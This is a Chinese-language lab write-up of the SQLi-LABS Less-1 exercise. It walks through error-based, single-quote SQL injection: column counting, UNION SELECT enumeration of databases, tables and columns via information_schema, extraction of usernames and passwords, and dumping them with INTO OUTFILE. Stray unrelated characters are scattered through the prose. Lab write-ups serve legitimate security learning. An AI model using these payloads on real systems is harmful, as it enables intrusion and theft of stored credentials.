SQLi-LABS 練習(xí)總結(jié)
Page-1 基礎(chǔ)練習(xí)
寫在前面:SQL注入是一個需要不斷嘗試的過程,其中可能出現(xiàn)很多問題才能有一次成功匾委,不要心急需忿,多嘗試诅炉,多學(xué)習(xí),多總結(jié)屋厘。
Less-1 GET-Error based-single quotes-String
分析所給提示:
- 根據(jù)報錯信息涕烧;
- 單引號;
- 字符型汗洒。
為了學(xué)習(xí)的目的议纯,盡可能的多做一些嘗試:
(1)確定問題參數(shù)和漏洞類型
在URL中輸入id參數(shù) ?id=1'
,返回報錯信息: Erreur de syntaxe pr?s de '''' LIMIT 0,1' ? la ligne 1
關(guān)于回顯問題,可用設(shè)置語言包將其調(diào)成英文模式仲翎,具體操作: 直通車
從錯誤信息中可以看出痹扇,這是一個字符型(''1''),且限定只輸出1行(LIMT 0,1)溯香。
可用的注入方式:
?id=1 這是一個正常的查詢過程。為了學(xué)習(xí)SQL注入浓恶,并不使用它來查詢玫坛。
?id= ' or '1'='1
?id= ' or 1=1 %23
%23是 # 的URL編碼,#是MySQL的注釋符包晰。在我嘗試過程中湿镀,直接輸入#依舊會報錯,%23則能正確輸出伐憾。還有一種注釋方法:
?id=' or 1=1 --+
確定問題參數(shù)和漏洞類型:id參數(shù)勉痴,字符型漏洞
(2)確定字段數(shù)
只有確定了字段數(shù),才可以使用union這個關(guān)鍵詞連接我們的查詢語句树肃≌裘可以采用order by 來確定字段數(shù)。
如:?id=1’ order by 1 %23
表示通過第一字段的順序進(jìn)行排序胸嘴,當(dāng)輸入order by x報錯時雏掠,就說明沒有這個字段,就可以得到輸出的字段數(shù)了劣像。在這個系統(tǒng)中乡话,經(jīng)過測試,輸出字段數(shù)為3.
查看一下本地的數(shù)據(jù)庫:
確實只有三個字段耳奕,分別為id绑青、username诬像、password。
(3)判斷能在頁面顯示的字段闸婴。
接下來坏挠,使用union語句來判斷各字段的類型以及判斷能夠在頁面顯示的字段。
?id=-1' union select 1,2,3 %23
注意:這里的id= -1掠拳,使它不返回其他信息癞揉,執(zhí)行后面的語句。
從中看出能在頁面上顯示的是第2,3字段溺欧。
(4)確定數(shù)據(jù)庫
確定當(dāng)前使用的數(shù)據(jù)庫
現(xiàn)在我們已經(jīng)知道了輸出的字段數(shù)了喊熟,可以使用union這個關(guān)鍵詞了。首先試試確定數(shù)據(jù)庫的名字姐刁,設(shè)計如下payload:
?id=-1’ union select 1,database(),3 %23
回顯如圖:
從而知道了當(dāng)前使用的數(shù)據(jù)庫的名字是 security芥牌。
爆出所有數(shù)據(jù)庫
還有一種方法,可以爆出所有的數(shù)據(jù)庫名聂使,payload:
?id=-1' union select 1,group_concat(SCHEMA_NAME),3
from information_schema.SCHEMATA%23
紅線部分即為MySQL中的所有數(shù)據(jù)庫壁拉。
說明:
?id=-1' union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA%23
在實際中有時候也可以,表示選擇information_schema數(shù)據(jù)庫中柏靶,SCHEMATA這個表的SCHEMA_NAME字段的值弃理。關(guān)于information_schema這個數(shù)據(jù)庫蹋盆,有興趣可以再查資料擎勘。
在這里不行的原因是它返回的是一個數(shù)組,分為一個一個的字符串餐茵,在這里只能顯示第一個字符串炬转,即information_schema辆苔。
GROUP_CONCAT(expr) 該函數(shù)返回帶有來自一個組的連接的非NULL值的字符串結(jié)果。在這里扼劈,這個函數(shù)將原先返回的字符串?dāng)?shù)組拼接成一個完整的字符串輸出驻啤。
(5)數(shù)據(jù)表
Payload:
?id=-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security'%23
這個就不分析了,就是從TABLES表中將TABLE_SCHEMA字段中名為security的數(shù)據(jù)全部返回荐吵。 可以通過phpmyadmin等工具查看本地數(shù)據(jù)庫中內(nèi)容骑冗。
(6)字段名
Payload:
?id=-1' union select 1,group_concat(COLUMN_NAME),3
from information_schema.COLUMNS
where TABLE_NAME = 'users' and TABLE_SCHEMA = 'Security'%23
注意:如果你要精確的查出某表的字段名,你就需要加兩個限定條件捍靠,TABLE_NAME = 'users'指定查找名為users表中的字段沐旨,由于可能存在多個數(shù)據(jù)庫,查出來的數(shù)據(jù)可能比該表的真實字段多榨婆;所以再加上一個限定條件磁携,TABLE_SCHEMA = 'Security' 指定數(shù)據(jù)庫為Security。
字段名為:id良风,username谊迄,password闷供。
(7)確定字段類型
?id=-1' union select 1,group_concat(DATA_TYPE),3
from information_schema.COLUMNS where TABLE_NAME = 'users'
and TABLE_SCHEMA = 'security'%23
從中看出對應(yīng)的字段類型:id為int型,username為varchar型统诺,password為varchar型歪脏。
(8)查詢字段內(nèi)容
?id=-1' union select 1,username,password from users where id=3%23
這里限制了輸出,可以通過指定id的方式逐條查詢粮呢。
通過指定id查詢記錄數(shù)婿失,得知id最大到14,其中id=13項缺失啄寡,所以也可以仿造前面的方法豪硅,直接查看全部數(shù)據(jù)。注意這只能用在小數(shù)據(jù)量的表中挺物。
?id=-1' union select 1,group_concat(username),group_concat(password) from users %23
(9)拖庫
?id=-1' union select 1,username,password from users
into outfile 'e:/user.txt'%23
將查詢記錄輸出到e:/user.txt文件中懒浮。